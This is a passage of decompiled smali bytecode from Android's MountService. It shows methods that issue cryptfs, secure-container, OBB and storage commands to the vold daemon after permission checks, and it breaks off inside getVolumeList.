Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "cryptfs" const/4 v4, 0x4 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "enablecrypto" aput-object v6, v4, v5 const/4 v5, 0x1 const-string v6, "inplace" aput-object v6, v4, v5 const/4 v5, 0x2 sget-object v6, Lcom/android/server/MountService;->CRYPTO_TYPES:[Ljava/lang/String; aget-object v6, v6, p1 aput-object v6, v4, v5 const/4 v5, 0x3 new-instance v6, Lcom/android/server/NativeDaemonConnector$SensitiveArg; invoke-direct {p0, p2}, Lcom/android/server/MountService;->toHex(Ljava/lang/String;)Ljava/lang/String; move-result-object v7 invoke-direct {v6, v7}, Lcom/android/server/NativeDaemonConnector$SensitiveArg;-><init>(Ljava/lang/Object;)V aput-object v6, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 2356 :goto_0 return v1 .line 2351 :catch_0 move-exception v0 .line 2353 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v0}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v1 goto :goto_0 .end method .method public finalizeSecureContainer(Ljava/lang/String;)I .locals 7 .param p1, "id" # Ljava/lang/String; .prologue .line 1926 const-string v2, "android.permission.ASEC_CREATE" invoke-direct {p0, v2}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1927 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 1929 const/4 v1, 0x0 .line 1931 .local v1, "rc":I :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "asec" const/4 v4, 0x2 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "finalize" aput-object v6, v4, v5 const/4 v5, 0x1 aput-object p1, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 1939 :goto_0 return v1 .line 1936 :catch_0 move-exception v0 .line 1937 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; const/4 v1, -0x1 goto :goto_0 .end method .method public finishMediaUpdate()V .locals 2 .prologue .line 2150 iget-object v0, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; const/4 v1, 0x2 invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z .line 2151 return-void .end method .method public fixPermissionsSecureContainer(Ljava/lang/String;ILjava/lang/String;)I .locals 7 .param p1, "id" # Ljava/lang/String; .param p2, "gid" # I .param p3, "filename" # Ljava/lang/String; .prologue .line 1943 const-string v2, "android.permission.ASEC_CREATE" invoke-direct {p0, v2}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1944 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 1946 const/4 v1, 0x0 .line 1948 .local v1, "rc":I :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "asec" const/4 v4, 0x4 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "fixperms" aput-object v6, v4, v5 const/4 v5, 0x1 aput-object p1, v4, v5 const/4 v5, 0x2 invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v6 aput-object v6, v4, v5 const/4 v5, 0x3 aput-object p3, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 1956 :goto_0 return v1 .line 1953 :catch_0 move-exception v0 .line 1954 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; const/4 v1, -0x1 goto :goto_0 .end method .method public formatVolume(Ljava/lang/String;)I .locals 1 .param p1, "path" # Ljava/lang/String; .prologue .line 1828 const-string v0, "android.permission.MOUNT_FORMAT_FILESYSTEMS" invoke-direct {p0, v0}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1829 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1831 invoke-direct {p0, p1}, Lcom/android/server/MountService;->doFormatVolume(Ljava/lang/String;)I move-result v0 return v0 .end method .method public getEncryptionState()I .locals 8 .prologue const/4 v2, -0x1 .line 2252 iget-object v3, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v4, "android.permission.CRYPT_KEEPER" const-string v5, "no permission to access the crypt keeper" invoke-virtual {v3, v4, v5}, Landroid/content/Context;->enforceCallingOrSelfPermission(Ljava/lang/String;Ljava/lang/String;)V .line 2255 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2259 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v4, "cryptfs" const/4 v5, 0x1 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "cryptocomplete" aput-object v7, v5, v6 invoke-virtual {v3, v4, v5}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v1 .line 2260 .local v1, "event":Lcom/android/server/NativeDaemonEvent; invoke-virtual {v1}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; move-result-object v3 invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I :try_end_0 .catch Ljava/lang/NumberFormatException; {:try_start_0 .. :try_end_0} :catch_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_1 move-result v2 .line 2268 .end local v1 # "event":Lcom/android/server/NativeDaemonEvent; :goto_0 return v2 .line 2261 :catch_0 move-exception v0 .line 2263 .local v0, "e":Ljava/lang/NumberFormatException; const-string v3, "MountService" const-string v4, "Unable to parse result from cryptfs cryptocomplete" invoke-static {v3, v4}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .line 2265 .end local v0 # "e":Ljava/lang/NumberFormatException; :catch_1 move-exception v0 .line 2267 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; const-string v3, "MountService" const-string v4, "Error in communicating with cryptfs in validating" invoke-static {v3, v4}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .end method .method public getField(Ljava/lang/String;)Ljava/lang/String; .locals 12 .param p1, "field" # Ljava/lang/String; .annotation system Ldalvik/annotation/Throws; value = { Landroid/os/RemoteException; } .end annotation .prologue .line 2466 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2470 :try_start_0 iget-object v7, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v8, "cryptfs" const/4 v9, 0x2 new-array v9, v9, [Ljava/lang/Object; const/4 v10, 0x0 const-string v11, "getfield" aput-object v11, v9, v10 const/4 v10, 0x1 aput-object p1, v9, v10 invoke-virtual {v7, v8, v9}, Lcom/android/server/NativeDaemonConnector;->executeForList(Ljava/lang/String;[Ljava/lang/Object;)[Lcom/android/server/NativeDaemonEvent; move-result-object v7 const/16 v8, 0x71 invoke-static {v7, v8}, Lcom/android/server/NativeDaemonEvent;->filterMessageList([Lcom/android/server/NativeDaemonEvent;I)[Ljava/lang/String; move-result-object v2 .line 2473 .local v2, "contents":[Ljava/lang/String; new-instance v6, Ljava/lang/String; invoke-direct {v6}, Ljava/lang/String;-><init>()V .line 2474 .local v6, "result":Ljava/lang/String; move-object v0, v2 .local v0, "arr$":[Ljava/lang/String; array-length v5, v0 .local v5, "len$":I const/4 v4, 0x0 .local v4, "i$":I :goto_0 if-ge v4, v5, :cond_0 aget-object v1, v0, v4 .line 2475 .local v1, "content":Ljava/lang/String; new-instance v7, Ljava/lang/StringBuilder; invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v6 .line 2474 add-int/lit8 v4, v4, 0x1 goto :goto_0 .line 2478 .end local v0 # "arr$":[Ljava/lang/String; .end local v1 # "content":Ljava/lang/String; .end local v2 # "contents":[Ljava/lang/String; .end local v4 # "i$":I .end local v5 # "len$":I .end local v6 # "result":Ljava/lang/String; :catch_0 move-exception v3 .line 2479 .local v3, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v3}, Lcom/android/server/NativeDaemonConnectorException;->rethrowAsParcelableException()Ljava/lang/IllegalArgumentException; move-result-object v7 throw v7 .line 2477 .end local v3 # "e":Lcom/android/server/NativeDaemonConnectorException; .restart local v0 # "arr$":[Ljava/lang/String; .restart local v2 # "contents":[Ljava/lang/String; .restart local v4 # "i$":I .restart local v5 # "len$":I .restart local v6 # "result":Ljava/lang/String; :cond_0 return-object v6 .end method .method public getMountedObbPath(Ljava/lang/String;)Ljava/lang/String; .locals 12 .param p1, "rawPath" # Ljava/lang/String; .prologue const/4 v4, 0x0 const/4 v11, 0x1 const/4 v10, 0x0 .line 2173 const-string v5, "rawPath cannot be null" invoke-static {p1, v5}, Lcom/android/internal/util/Preconditions;->checkNotNull(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 2175 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2176 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 2179 iget-object v5, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; monitor-enter v5 .line 2180 :try_start_0 iget-object v6, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; invoke-interface {v6, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v3 check-cast v3, Lcom/android/server/MountService$ObbState; .line 2181 .local v3, "state":Lcom/android/server/MountService$ObbState; monitor-exit v5 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 2182 if-nez v3, :cond_1 .line 2183 const-string v5, "MountService" new-instance v6, Ljava/lang/StringBuilder; invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V const-string v7, "Failed to find OBB mounted at " invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v6 invoke-static {v5, v6}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I .line 2195 :cond_0 :goto_0 return-object v4 .line 2181 .end local v3 # "state":Lcom/android/server/MountService$ObbState; :catchall_0 move-exception v4 :try_start_1 monitor-exit v5 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 throw v4 .line 2189 .restart local v3 # "state":Lcom/android/server/MountService$ObbState; :cond_1 :try_start_2 iget-object v5, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v6, "obb" const/4 v7, 0x2 new-array v7, v7, [Ljava/lang/Object; const/4 v8, 0x0 const-string v9, "path" aput-object v9, v7, v8 const/4 v8, 0x1 iget-object v9, v3, Lcom/android/server/MountService$ObbState;->voldPath:Ljava/lang/String; aput-object v9, v7, v8 invoke-virtual {v5, v6, v7}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v2 .line 2190 .local v2, "event":Lcom/android/server/NativeDaemonEvent; const/16 v5, 0xd3 invoke-virtual {v2, v5}, Lcom/android/server/NativeDaemonEvent;->checkCode(I)V .line 2191 invoke-virtual {v2}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; :try_end_2 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_2 .. :try_end_2} :catch_0 move-result-object v4 goto :goto_0 .line 2192 .end local v2 # "event":Lcom/android/server/NativeDaemonEvent; :catch_0 move-exception v1 .line 2193 .local v1, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v0 .line 2194 .local v0, "code":I const/16 v5, 0x196 if-eq v0, v5, :cond_0 .line 2197 new-instance v4, Ljava/lang/IllegalStateException; const-string v5, "Unexpected response code %d" new-array v6, v11, [Ljava/lang/Object; invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v7 aput-object v7, v6, v10 invoke-static {v5, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v5 invoke-direct {v4, v5}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v4 .end method .method public getPassword()Ljava/lang/String; .locals 7 .annotation system Ldalvik/annotation/Throws; value = { Landroid/os/RemoteException; } .end annotation .prologue .line 2485 invoke-direct {p0}, Lcom/android/server/MountService;->isReady()Z move-result v2 if-nez v2, :cond_0 .line 2486 new-instance v2, Ljava/lang/String; invoke-direct {v2}, Ljava/lang/String;-><init>()V .line 2492 :goto_0 return-object v2 .line 2491 :cond_0 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "cryptfs" const/4 v4, 0x1 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "getpw" aput-object v6, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v1 .line 2492 .local v1, "event":Lcom/android/server/NativeDaemonEvent; invoke-virtual {v1}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; move-result-object v2 invoke-direct {p0, v2}, Lcom/android/server/MountService;->fromHex(Ljava/lang/String;)Ljava/lang/String; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v2 goto :goto_0 .line 2493 .end local v1 # "event":Lcom/android/server/NativeDaemonEvent; :catch_0 move-exception v0 .line 2494 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v0}, Lcom/android/server/NativeDaemonConnectorException;->rethrowAsParcelableException()Ljava/lang/IllegalArgumentException; move-result-object v2 throw v2 .end method .method public getPasswordType()I .locals 8 .prologue .line 2424 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2428 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v4, "cryptfs" const/4 v5, 0x1 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "getpwtype" aput-object v7, v5, v6 invoke-virtual {v3, v4, v5}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v1 .line 2429 .local v1, "event":Lcom/android/server/NativeDaemonEvent; const/4 v2, 0x0 .local v2, "i":I :goto_0 sget-object v3, Lcom/android/server/MountService;->CRYPTO_TYPES:[Ljava/lang/String; array-length v3, v3 if-ge v2, v3, :cond_1 .line 2430 sget-object v3, Lcom/android/server/MountService;->CRYPTO_TYPES:[Ljava/lang/String; aget-object v3, v3, v2 invoke-virtual {v1}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; move-result-object v4 invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v3 if-eqz v3, :cond_0 .line 2431 return v2 .line 2429 :cond_0 add-int/lit8 v2, v2, 0x1 goto :goto_0 .line 2434 :cond_1 new-instance v3, Ljava/lang/IllegalStateException; const-string v4, "unexpected return from cryptfs" invoke-direct {v3, v4}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v3 :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 2435 .end local v1 # "event":Lcom/android/server/NativeDaemonEvent; .end local v2 # "i":I :catch_0 move-exception v0 .line 2436 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v0}, Lcom/android/server/NativeDaemonConnectorException;->rethrowAsParcelableException()Ljava/lang/IllegalArgumentException; move-result-object v3 throw v3 .end method .method public getSecureContainerFilesystemPath(Ljava/lang/String;)Ljava/lang/String; .locals 10 .param p1, "id" # Ljava/lang/String; .prologue const/4 v9, 0x1 const/4 v8, 0x0 .line 2129 const-string v3, "android.permission.ASEC_ACCESS" invoke-direct {p0, v3}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 2130 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2131 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 2135 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v4, "asec" const/4 v5, 0x2 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "fspath" aput-object v7, v5, v6 const/4 v6, 0x1 aput-object p1, v5, v6 invoke-virtual {v3, v4, v5}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v2 .line 2136 .local v2, "event":Lcom/android/server/NativeDaemonEvent; const/16 v3, 0xd3 invoke-virtual {v2, v3}, Lcom/android/server/NativeDaemonEvent;->checkCode(I)V .line 2137 invoke-virtual {v2}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v3 .line 2142 .end local v2 # "event":Lcom/android/server/NativeDaemonEvent; :goto_0 return-object v3 .line 2138 :catch_0 move-exception v1 .line 2139 .local v1, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v0 .line 2140 .local v0, "code":I const/16 v3, 0x196 if-ne v0, v3, :cond_0 .line 2141 const-string v3, "MountService" const-string v4, "Container \'%s\' not found" new-array v5, v9, [Ljava/lang/Object; aput-object p1, v5, v8 invoke-static {v4, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v4 invoke-static {v3, v4}, Landroid/util/Slog;->i(Ljava/lang/String;Ljava/lang/String;)I .line 2142 const/4 v3, 0x0 goto :goto_0 .line 2144 :cond_0 new-instance v3, Ljava/lang/IllegalStateException; const-string v4, "Unexpected response code %d" new-array v5, v9, [Ljava/lang/Object; invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v6 aput-object v6, v5, v8 invoke-static {v4, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v4 invoke-direct {v3, v4}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v3 .end method .method public getSecureContainerList()[Ljava/lang/String; .locals 7 .prologue const/4 v6, 0x0 .line 1876 const-string v1, "android.permission.ASEC_ACCESS" invoke-direct {p0, v1}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1877 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1878 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 1881 :try_start_0 iget-object v1, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v2, "asec" const/4 v3, 0x1 new-array v3, v3, [Ljava/lang/Object; const/4 v4, 0x0 const-string v5, "list" aput-object v5, v3, v4 invoke-virtual {v1, v2, v3}, Lcom/android/server/NativeDaemonConnector;->executeForList(Ljava/lang/String;[Ljava/lang/Object;)[Lcom/android/server/NativeDaemonEvent; move-result-object v1 const/16 v2, 0x6f invoke-static {v1, v2}, Lcom/android/server/NativeDaemonEvent;->filterMessageList([Lcom/android/server/NativeDaemonEvent;I)[Ljava/lang/String; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v1 .line 1884 :goto_0 return-object v1 .line 1883 :catch_0 move-exception v0 .line 1884 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; new-array v1, v6, [Ljava/lang/String; goto :goto_0 .end method .method public getSecureContainerPath(Ljava/lang/String;)Ljava/lang/String; .locals 10 .param p1, "id" # Ljava/lang/String; .prologue const/4 v9, 0x1 const/4 v8, 0x0 .line 2108 const-string v3, "android.permission.ASEC_ACCESS" invoke-direct {p0, v3}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 2109 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2110 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 2114 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v4, "asec" const/4 v5, 0x2 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "path" aput-object v7, v5, v6 const/4 v6, 0x1 aput-object p1, v5, v6 invoke-virtual {v3, v4, v5}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v2 .line 2115 .local v2, "event":Lcom/android/server/NativeDaemonEvent; const/16 v3, 0xd3 invoke-virtual {v2, v3}, Lcom/android/server/NativeDaemonEvent;->checkCode(I)V .line 2116 invoke-virtual {v2}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v3 .line 2121 .end local v2 # "event":Lcom/android/server/NativeDaemonEvent; :goto_0 return-object v3 .line 2117 :catch_0 move-exception v1 .line 2118 .local v1, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v0 .line 2119 .local v0, "code":I const/16 v3, 0x196 if-ne v0, v3, :cond_0 .line 2120 const-string v3, "MountService" const-string v4, "Container \'%s\' not found" new-array v5, v9, [Ljava/lang/Object; aput-object p1, v5, v8 invoke-static {v4, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v4 invoke-static {v3, v4}, Landroid/util/Slog;->i(Ljava/lang/String;Ljava/lang/String;)I .line 2121 const/4 v3, 0x0 goto :goto_0 .line 2123 :cond_0 new-instance v3, Ljava/lang/IllegalStateException; const-string v4, "Unexpected response code %d" new-array v5, v9, [Ljava/lang/Object; invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v6 aput-object v6, v5, v8 invoke-static {v4, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v4 invoke-direct {v3, v4}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v3 .end method .method public getStorageUsers(Ljava/lang/String;)[I .locals 12 .param p1, "path" # Ljava/lang/String; .prologue const/4 v11, 0x0 .line 1835 const-string v6, "android.permission.MOUNT_UNMOUNT_FILESYSTEMS" invoke-direct {p0, v6}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1836 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1838 :try_start_0 iget-object v6, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v7, "storage" const/4 v8, 0x2 new-array v8, v8, [Ljava/lang/Object; const/4 v9, 0x0 const-string v10, "users" aput-object v10, v8, v9 const/4 v9, 0x1 aput-object p1, v8, v9 invoke-virtual {v6, v7, v8}, Lcom/android/server/NativeDaemonConnector;->executeForList(Ljava/lang/String;[Ljava/lang/Object;)[Lcom/android/server/NativeDaemonEvent; move-result-object v6 const/16 v7, 0x70 invoke-static {v6, v7}, Lcom/android/server/NativeDaemonEvent;->filterMessageList([Lcom/android/server/NativeDaemonEvent;I)[Ljava/lang/String; move-result-object v4 .line 1843 .local v4, "r":[Ljava/lang/String; array-length v6, v4 new-array v0, v6, [I .line 1844 .local v0, "data":[I const/4 v2, 0x0 .local v2, "i":I :goto_0 array-length v6, v4 if-ge v2, v6, :cond_0 .line 1845 aget-object v6, v4, v2 const-string v7, " " invoke-virtual {v6, v7}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_1 move-result-object v5 .line 1847 .local v5, "tok":[Ljava/lang/String; const/4 v6, 0x0 :try_start_1 aget-object v6, v5, v6 invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v6 aput v6, v0, v2 :try_end_1 .catch Ljava/lang/NumberFormatException; {:try_start_1 .. :try_end_1} :catch_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_1 .. :try_end_1} :catch_1 .line 1844 add-int/lit8 v2, v2, 0x1 goto :goto_0 .line 1848 :catch_0 move-exception v3 .line 1849 .local v3, "nfe":Ljava/lang/NumberFormatException; :try_start_2 const-string v6, "MountService" const-string v7, "Error parsing pid %s" const/4 v8, 0x1 new-array v8, v8, [Ljava/lang/Object; const/4 v9, 0x0 const/4 v10, 0x0 aget-object v10, v5, v10 aput-object v10, v8, v9 invoke-static {v7, v8}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v7 invoke-static {v6, v7}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I .line 1850 const/4 v6, 0x0 new-array v0, v6, [I :try_end_2 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_2 .. :try_end_2} :catch_1 .line 1856 .end local v0 # "data":[I .end local v2 # "i":I .end local v3 # "nfe":Ljava/lang/NumberFormatException; .end local v4 # "r":[Ljava/lang/String; .end local v5 # "tok":[Ljava/lang/String; :cond_0 :goto_1 return-object v0 .line 1854 :catch_1 move-exception v1 .line 1855 .local v1, "e":Lcom/android/server/NativeDaemonConnectorException; const-string v6, "MountService" const-string v7, "Failed to retrieve storage users list" invoke-static {v6, v7, v1}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I .line 1856 new-array v0, v11, [I goto :goto_1 .end method .method public getVolumeList()[Landroid/os/storage/StorageVolume; .locals 13 .prologue const/4 v7, 0x1 const/4 v8, 0x0 .line 2609 invoke-static {}, Landroid/os/UserHandle;->getCallingUserId()I move-result v1 .line 2610 .local v1, "callingUserId":I iget-object v9, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v10, "android.permission.ACCESS_ALL_EXTERNAL_STORAGE" invoke-static {}, Landroid/os/Binder;->getCallingPid()I move-result v11 invoke-static {}, Landroid/os/Binder;->getCallingUid()I move-result v12 invoke-virtual {v9, v10, v11, v12}, Landroid/content/Context;->checkPermission(Ljava/lang/String;II)I move-result v9 if-nez v9, :cond_3 move v0, v7 .line 2614 .local v0, "accessAll":Z :goto_0 iget-object v9, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v9 .line 2615 :try_start_0 invoke-static {}, Lcom/google/android/collect/Lists;->newArrayList()Ljava/util/ArrayList; move-result-object v2 .line 2616 .local v2, "filtered":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Landroid/os/storage/StorageVolume;>;" iget-object v10, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v10}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v3 .local v3, "i$":Ljava/util/Iterator; :cond_0 :goto_1 invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z move-result v10 if-eqz v10, :cond_6 invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v6 check-cast v6, Landroid/os/storage/StorageVolume; .line 2617 .local v6, "volume":Landroid/os/storage/StorageVolume; invoke-virtual {v6}, Landroid/os/storage/StorageVolume;->getOwner()Landroid/os/UserHandle; move-result-object v4 .line 2618 .local v4, "owner":Landroid/os/UserHandle; if-eqz v4, :cond_1 invoke-virtual {v4}, Landroid/os/UserHandle;->getIdentifier()I move-result v10 if-ne v10, v1, :cond_4 :cond_1 move v5, v7 .line 2619 .local v5, "ownerMatch":Z :goto_2 if-nez v0, :cond_2 if-eqz v5, :cond_0 .line 2620 :cond_2 if-nez v0, :cond_5 invoke-virtual {v6}, Landroid/os/storage/StorageVolume;->isEmulated()Z move-result v10 if-eqz v10, :cond_5 .line 